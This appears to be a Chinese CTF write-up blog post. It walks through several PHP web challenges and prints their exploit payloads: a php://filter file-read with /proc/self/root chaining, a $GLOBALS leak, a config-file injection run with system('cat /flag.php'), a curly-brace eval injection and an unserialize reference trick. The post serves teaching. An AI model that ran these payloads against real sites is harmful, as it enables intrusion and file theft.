掌控ctf-2月赛

没事干 随便刷刷题

1伪协议读取系统进程

源码

php 复制代码
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}

伪协议读取flag.php,/proc/self指向当前进程的

exp

php 复制代码
?file=php://filter/read=convert.base64-encode/resource=file:///proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/flag.php

2超全局变量

php 复制代码
<?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}

一看到超全局变量就想到了 GLOBALS

3命令执行

php 复制代码
<?php
if(!isset($_GET['option'])) die();
$str = addslashes($_GET['option']);
$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);

访问config.php会报错 然后把GET参数暴露

exp:

config.php?8=system("cat /flag.php");

巧用花括号(考点:花括号用法)

php 复制代码
<?
#GOAL: gather some phpinfo();
function flag(){
    echo "flag{I'm xxxxxxxxxxxxxxxxxxxx}";
}
$str=@(string)$_GET['str'];
@eval('$str="'.addslashes($str).'";');
?>

字符串${foobar}​中的foobar会被当作变量来处理

?str={{phpinfo()}}

flag在flag()中

?str={{flag()}}

PHP特性(考点:PHP中引用的特性)

php 复制代码
<?php
#GOAL: get the secret;
class just4fun {
    var $enter;
    var $secret;
}
   
if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];
   
    if(get_magic_quotes_gpc()){
        $pass=stripslashes($pass);
    }
   
    $o = unserialize($pass);
   
    if ($o) {
        $o->secret = "flag{I'm xxxxxxxxxxxxxxxxxxxxxxxxxxxx}";
        if ($o->secret === $o->enter)
            echo "Congratulation! Here is my secret: ".$o->secret;
        else
            echo "Oh no... You can't fool me";
    }
    else echo "are you trolling?";
}

exp

php 复制代码
<?php
class just4fun {
    var $enter;
    var $secret;
}


$a= new just4fun();
$a->enter= &$a->secret;
echo serialize($a);
相关推荐
编程猪猪侠16 分钟前
VSCode如何修改默认扩展路径和用户文件夹目录到其他盘以及微信开发工具如何修改扩展路径到其他盘
ide·vscode·编辑器
dpxiaolong32 分钟前
RK3588平台用v4l工具调试USB摄像头实践(亮度,饱和度,对比度,色相等)
android·windows
tangweiguo030519872 小时前
Android 混合开发实战:统一 View 与 Compose 的浅色/深色主题方案
android
老狼孩111222 小时前
2025新版懒人精灵零基础及各板块核心系统视频教程-全分辨率免ROOT自动化开发
android·机器人·自动化·lua·脚本开发·懒人精灵·免root开发
姜太小白2 小时前
【VSCode】VS Code自动换行设置方法
ide·vscode·编辑器
打死不学Java代码2 小时前
PaginationInnerInterceptor使用(Mybatis-plus分页)
android·java·mybatis
IT乐手4 小时前
android 解决系统级应用 WebView 加载崩溃的问题
android
Kapaseker4 小时前
Kotlin泛型精解:类型世界的奇幻之旅
android·kotlin
顾林海4 小时前
深入探究 Android Native 代码的崩溃捕获机制
android·面试·性能优化
无心水5 小时前
基础服务系列-Jupyter Notebook 支持Java
ide·python·jupyter